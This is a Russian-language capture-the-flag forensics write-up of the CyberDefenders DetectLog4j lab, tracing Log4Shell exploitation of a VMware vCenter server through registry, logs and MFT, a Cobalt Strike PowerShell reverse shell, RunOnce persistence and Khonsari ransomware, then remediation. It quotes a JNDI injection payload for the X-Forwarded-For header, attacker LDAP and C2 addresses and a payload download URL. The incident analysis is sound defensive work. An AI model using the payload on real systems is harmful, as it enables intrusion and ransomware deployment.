Сегодня рассмотрим интересное задание по форензики с площадки CyberDefenders, которое называется DetectLog4j. Я покажу, как извлекать и анализировать артефакты из образа диска Windows. Мы найдем следы эксплуатации уязвимости Log4Shell и изучим артефакты, которые указывают на ее использовании.
Еще по теме: Форензик кейс взлома серверов под управлением Linux
Задание по форензике DetectLog4j CyberDefenders
По сценарию хакеры взломали веб‑сервер и получили над ним полный контроль. Специалисты ИБ сделали полную копию системного диска взломанной машины Windows, которую мы скачаем и будем исследовать.
По результатам решения форензик-кейса нужно будет ответить на вопросы. В статье покажу процесс прохождения, но ответы подсвечивать не буду. Так вы сможете повторить все самостоятельно, лучше разобраться и закрепить материал.
Для прохождения задания будут использоваться следующие инструменты:
- R-Studio — приложение для восстановления информации с диска.
- Jadx — инструмент для создания исходного кода Java из файлов Apk и Android Dex.
- DIE — утилита для определения типов файлов.
- Программы Registry Explorer, MFTECmd.
- FTK Imager — инструмент для анализа и получения образов диска.
- Утилиты FullEventLogView.
Получение информации об объекте исследования
Файл образа жесткого диска взломанной машины DetectLog4Shell.E01 сохранен в формате EWF (Expert Witness Format). Для создания цифровой копии диска будем использовать утилиту EnCase. Монтируем образ диска в Windows и извлекаем из него артефакты, необходимые для дальнейшего анализа.
Открываем утилиту FTK Imager и монтируем исследуемый диск. Для этого открываем вкладку File —> Image Mounting и в поле Image File выбираем образ Webserver.e01, добавим следующие настройки:

Жмем Mount. Образ диска будет примонтирован и появится следующая информация.
У нас нет разрешений для получения доступа к системным файлам, поэтому будем использовать программу R-Studio и выгрузим файлы реестра, SOFTWARE, SAM, SYSTEM в каталоге:
1 |
%WINDOWS%/Windows/System32/config/ |
Теперь у нас есть информация из куста реестра SYSTEM. Загружаем ее в утилиту Registry Explorer, жмем File —> Load hive, после чего выбираем исследуемый файл. Данные о временной зоне хранятся в ключе TimeZoneKeyName, который расположен в ветви:
1 |
ControlSet001\Control\TimeZoneInformation |
Временные метки во временной зоне — Pacific Standart Time (UTC-8). Имя машины хранится в ключе:
1 |
Windows\System32\config\SYSTEM: ControlSet001\Control\ComputerName\ComputerName |
Данные об IP-адресе компьютера находятся в ключе:
1 |
ControlSet001\Services\Tcpip\Parameters\Interfaces\{ea202436-8a31-4cb6-9b59-5be0c2bc1692} |
где {ea202436-8a31-4cb6-9b59-5be0c2bc1692} — идентификатор адаптера.
Документацию о данном ключе реестра найдете на официальном сайте Мелкомягких.

Флаг EnabledDHCP говорит о том, что сетевой адрес выдается сервером DHCP 192.168.112.254. IP-адрес хоста — 192.168.112.139.
Информация о доменом имени компьютера находится в ключе:
1 |
ControlSet001\Services\Tcpip\Parameters |
Доменное имя компьютера — cyberdefenders.org. Изучаем ветку реестра SOFTWARE, чтобы получить данные об операционной системе. Загружаем эту ветку реестра в утилиту Reg Explorer. Версия ОС и текущий номер сборки в ключе:
1 |
Microsoft\Windows NT\CurrentVersion |
Объект нашего исследования — операционная система Windows Server 2016 Standard Evaluation, версия сборки — 14393.
Теперь получим информацию обо всех установленных приложениях. Для этого заходим в этот ключ реестра:
1 |
Microsoft\Windows\CurrentVersion\Uninstall |
Он хранит информацию об установленных программах.
Находим интересующий нас продукт, в нашем случае VMware.

На скомпрометированной машине установлен VMware vCenter Server, версия установленного продукта — 6.7.0.40322. Файлы программы располагаются в папке:
1 |
Program Files\VMware\vCenter Server |
Теперь найдем версию библиотеки логирования Log4j. Для этого переходим в каталог:
1 |
Program Files\VMware\vCenter Server\VMware Identity Services |
И ищем файл log4j-core-2.11.2.jar. Версия библиотеки — 2.11.2. В этом же каталоге хранится файл конфигурации log4j2.xml, который содержит уровень логирования журнала библиотеки Log4j2.

Проанализируем ветку реестра SAM, чтобы узнать информацию о пользователях. Информация о пользователях системы хранится в ключе:
1 |
SAM\Domains\Account\Users |
В списке юзеров мы обнаруживаем учетные записи myoussef и mhasan. Дата создания пользователя myoussef — 2021-12-28 06:57:23 UTC. О пользователе mhasan есть следующая информация, и в ней хранится подсказка о пароле пользователя.

Поиск точки входа
Мы выяснили, что на скомпрометированной машине установлен продукт VMware vCenter Server. Найдем его логи и начнем их исследовать. Нам известно, что злоумышленники эксплуатировали уязвимость CVE-2021-44228 Log4Shell.
Уязвимость в продукте VMware vCenter Server версии 6.7 находится в заголовке X-Forwarded-For на странице входа
1 |
https://<адрес хоста>/websso/SAML2/SSO/<ДНС-имя хоста>?SAMLRequest= |
где в качестве полезной нагрузки передается строка:
1 |
X-Forwarded-For: \\${jndi:ldap://<ДНС-адрес злоумышленника>:1389/payload} |
После установки соединения с сервером злоумышленника по протоколу LDAP загружается вредоносная нагрузка, которую выполняет Powershell.exe.
Проанализируем логи VMware vCenter Server, расположенные в каталоге:
1 |
ProgramData\VMware\vCenterServer\runtime\VMwareSTSService\logs |
В момент, соответствующий временной отметке 28.12.2021 в 12:39:28 UTC, обнаружен успешный вход пользователя administrator@vsphere.local.

Начиная с 29.12.2021 01:50:06 UTC обнаружены попытки эксплуатации уязвимости Log4Shell в системе.

Чтобы определить, уязвим ли установленный в системе продукт VMware vCenter Server, злоумышленник в качестве нагрузки использовал адрес:
1 |
log4shell.huntress.com:1389/b1292f3c-a652-4240-8fb4-59c43141f55a |
Источником атаки служит компьютер с IP-адресом 192.168.112.128. После успешной компрометации была загружена полезная нагрузка с IP-адреса атакующего:
1 |
ldap://192.168.112.128/0=tomcat |
В результате анализа логов VMware vCenter Server версии 6.7 мы обнаружили точку входа злоумышленников в сеть организации.
Методы постэксплуатации
Мы выяснили, что злоумышленник проэксплуатировал уязвимость CVE-2021-44228 в продукте VMware vCenter Server 29.12.2021 в 01.50.50 UTC. Загрузим логи операционной системы, для этого откроем утилиту FullEventLogView, нажмем File —> Choose Data Source и выберем каталог, в который выгрузили логи исследуемого образа из папки:
1 |
Windows\System32\winev\Logs |
Затем перейдем на вкладку Options → Advanced Options и выберем интересующее нас время 29.12.2021 01:50 UTC.

Найдем события powershell.exe. В 02:09:51 29.12.2021 UTC злоумышленниками выполнен код командной оболочки Powershell.exe.

Следующим этапом эта полезная нагрузка декодируется и выполняется. Также при анализе логов мы обнаружили следующий код.

Полезная нагрузка декодируется по алгоритму Base64, а далее распаковывается с использованием gzip. Для преобразования перейдем на сайт CyberChef, выберем From Base64 —> Gunzip, загрузим представленные выше закодированные данные и продолжим анализ.

В переменной $var_code содержится шелл‑код, который выполняется в Powershell.exe. Выполним данный скрипт, чтобы обнаружить адрес управляющего центра. Для этого откроем утилиту ProcessHacker2, перейдем на вкладку Network и найдем процесс Powershell.exe.

Нагрузка взаимодействует с управляющим сервером 192.168.112.128 по порту 1337 и представляет собой обратную оболочку для фреймворка Cobalt Strike.
Сохранение постоянства в системе
Проанализируем реестр, чтобы понять, как злоумышленники закрепились в системе.
Обнаруживаем имя исполняемого файла ветке NTUSER.dat пользователя Administrator.WIN-B633EO9K91M в ключе:
1 |
SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce |
Для закрепления в системе злоумышленники использовали исполняемый файл baaaackdooor.exe. Данный файл по его пути мы найти не смогли, но с помощью сканирования антивирусными средствами обнаружили вредоносный файл C:\khonsari.exe. Получим временную метку его создания и исследуем его.
Разберем, в какое время был создан файл khonsari.exe. Для этого с использованием утилиты R-Studio откроем примонтированный виртуальный диск, найдем в корне файл $MFT и выгрузим его.

Воспользуемся инструментом MFTECmd.exe и получим информацию об объектах файловой системы в файл CSV.
1 |
MFTECmd.exe -f $MFT --csv .\RESULT\MFT |
Мы получили файл, содержащий пути ко всем объектам файловой системы, а также метки времени. С использованием поиска найдем файл khonsari.exe. Все метки времени в таблице MFT используют часовой пояс UTC.
Через поиск найдем исследуемый файл — он создан 2021-12-29 02:15:56 UTC.

Также в файле MFT обнаружена дата создания файла khonsari.dmp и путь к нему.

Полученные данные свидетельствуют о том, что вредоносный файл запущен от имени учетной записи Administrator.WIN-B633EO9K91M, при своей работе он получил ошибку, и дамп работы сохранен на диске.
Получим MD5-хеш исполняемого файла khonsari.exe и найдем его на VirusTotal: 6ac57a1e090e7abdb9b7212e058c43c6, имя файла khonsari.exe. В отчете VirusTotal обнаружена первая дата загрузки вредоносного файла: 2021-12-11 22:57:01 UTC. Файл определяется антивирусными средствами следующим образом.

Получим информацию о вредоносном файле, для этого воспользуемся утилитой DIE.

Приложение написано на C#. Декомпилируем исполняемый файл. Для этого можно воспользоваться утилитой DnSpy или ILSpy. Найдем функцию main и разберем функциональность. Код приложения обфусцирован.

Первым делом загружается текстовый файл с адреса, указанного в переменной text. Эта строка преобразуется операцией XOR с ключом в переменной text2="GoaahQrC. После декодирования загружается файл с ресурса
1 |
http://3.145.115.94/zambos_caldo_de_p.txt |
Провайдер IP-адреса 3.145.115.94 — Amazon Technologies Inc.
Далее вредоносный исполняемый файл khonsari.exe получает информацию о каталогах пользователя и начинает шифровать файлы по алгоритму AES. Каждому зашифрованному файлу присваивается расширение .khonsari.
Перед шифрованием расширение файла проверяется по алгоритму, реализованному в функции LxqQxinF. Все файлы с расширениями .ini и .khonsari не шифруются программой‑вымогателем.
Исследуемый нами файл был запущен 29.12.2021 02:17:18, но в результате сбоя он не сработал в скомпрометированной системе.

Дамп сбойного приложения также можно найти в каталоге:
1 |
C:\ProgramData\Microsoft\Windows\WER\ReportArchive\ |
Чтобы сохранить постоянное присутствие в системе, злоумышленники использовали ветку NTUSER.dat пользователя Administrator.WIN-B633EO9K91M в ключе реестра:
1 |
SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce |
После этого они загрузили программу‑вымогатель C:\khonsari.exe.
Устранение уязвимости
Для устранения уязвимости CVE-2021-44228 в продуктах VMware VCenter Server версии 6.7 необходимо провести обновление 3q сборки 19300125. Если обновиться невозможно, следует воспользоваться сценарием, который публикует компания VMware.
В целях обновления используется скрипт vc_log4j_mitigator.py, который остановит службы vCenter Server, запустит Java-файлы с флагом log4j2.formatMsgNoLookups=true, распакует файл log4j-core-2.x.x.jar и удалит JndiLookup.class из всех файлов jar/war на устройстве. Первоначальная проблема в библиотеке Log4j была устранена в версии 2.15.0.
Проанализируем файл log4j-core-2.11.2.jar. Для этого переименуем его в формат ZIP и выгрузим файл:
1 |
org/apache/logging/log4j/core/lookup/JndiLookup.class (sha256:0f038a1e0aa0aff76d66d1440c88a2b35a3d023ad8b2e3bac8e25a3208499f7e) |
Откроем его в утилите jadx и найдем значение, хранящееся в переменной:
1 |
CONTAINER_JNDI_RESOURCE_PATH_PREFIX=java:comp/env/ |
Заключение
По результатам решения форензик-кейса DetectLog4j CyberDefenders мы научились извлекать из операционной системы Windows артефакты, необходимые для расследования инцидента.
Проанализировали реестр и получили первичную информацию об объекте исследования, проанализировали логи VMware vCenter Server версии 6.7 и обнаружили эксплуатацию уязвимости Log4Shell (CVE-2021-44228).
Источником компьютерной атаки был хост с IP-адресом 192.168.112.128, время начала атаки — 29.12.2021 в 01.50.50 UTC.
Далее мы обнаружили загруженную на взломанную машину полезную нагрузку — PowerShell-маячок фреймворка Cobalt Strike. Мы выявили метод закрепления в системе и нашли загруженную злоумышленником программу‑вымогатель.
Наконец, мы нашли методы устранения уязвимости Log4Shell в продуктах VMware vCenter Server.
Полезные ссылки: